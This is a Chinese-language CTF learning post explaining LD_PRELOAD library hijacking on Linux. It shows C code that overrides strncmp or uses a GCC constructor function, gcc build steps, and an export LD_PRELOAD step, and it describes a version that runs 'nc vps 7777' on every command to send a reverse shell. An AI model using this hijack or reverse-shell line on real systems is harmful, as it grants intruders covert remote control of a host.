做CTF时遇到LD_PRELOAD劫持,进行弹shell,特意来了解一下这个东西。
LD_PRELOAD
LD_PRELOAD 其实是linux下的一个环境变量。用于动态链接库的加载,在动态连接库的过程中他的优先级是最高的。有点像 .user.ini 中的 auto_prepend_file那么什么是链接呢?
- 静态链接:在程序运行之前就把各个目标模块以及需要的库函数 链接成了一个可执行程序,之后不再拆开
- 装入时动态链接:源程序编译后得到的一组目标模块,在装入内存时,边装入边链接。
- 运行时动态链接: 源程序编译后得到的目标模块,在程序执行的过程中需要用到时才对他进行连接。
动态连接 与 静态连接 各有优缺点。静态连接 如要修改函数和内容都会比较麻烦,必须重新写文件再重新编译发布。反观动态链接用于在程序执行时动态的加载库中的函数。若动态库中的函数发生变化 对于可执行程序来说时透明的,这样的好处是对于程序的更新、维护都非常容易。
而LD_PRELOAD 允许你定义在程序允许之前优先加载的动态链接库,那么我们就可以在自己定义的动态链接库中装入恶意函数。
如果我们利用LD_PRELOAD 劫持了所有的系统命令。那么他都会加载这个恶意的so,最终会产生不可逆的漏洞,比如:反弹shell
LD_PRELOAD利用
1 .so后缀就是动态链接库的文件名 。
2 export LD_PRELOAD=*** 是修改LD_PRELOAD的指向 。加载so 文件。
3 我们自定义替换的函数必须和原函数相同,包括类型和参数 。
4 还原LD_PRELOAD的最初指向命令为:unset LD_PRELOAD 。
没有安装 gcc 的 要先安装 gcc
创建一个 a.c 文件并写入一下内容:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
printf("try hard!!\n");
}
int strncmp(const char *__s1, const char *__s2, size_t __n) {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
样本:gcc -shared -fPIC 自定义文件.c -o 生成的库文件.so
输入:gcc -shared -fPIC a.c -o a.so
gcc 进行编译,然后进行 export LD_PRELOAD=*** 加载so 文件。
export LD_PRELOAD=/so所在的文件
这样我们输入 ls 就能看到我们print的 try hard!了
有点变态。。那我们可以试着反弹shell
一样的a.c 然后再编译文件
这样,我们每输入的一次指令 都会执行 system(" nc vps 7777 ") 主动连接。
我们在vps上监听一下 7777端口:
看到,只要目标主机输入了系统指令。我们都能连接到他的shell 。
进一步:
看到上面的演示,如果是在实际环境中我们都很难有利用的点,要么就是函数被禁了,要么就是因为其他因素的干扰
我看到Mockingjay师傅的一篇文章,找到一个函数,他能够使任何加载动态连接库都执行一次该函数,如果能这样,那就非常方便了,狠精彩。这个方法 蓝帽杯的one point php 也会用到。感兴趣的可以去BUUCTF上复现。。
言归正传,GCC有个C语言拓展修饰符 __attribute__((constructor)), 可以让由他修饰的函数在main() 之前执行,一旦某些指令需要加载动态链接库时,就会立刻执行他。
//a.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
printf("nice try!\n");
}
还是一样 ,
这里是我已经弄好了,才会报错。
看到,我们无论执行什么,他都会先加载这个修饰符,那么如果他是一个执行恶意代码的话,那么后果不堪设想。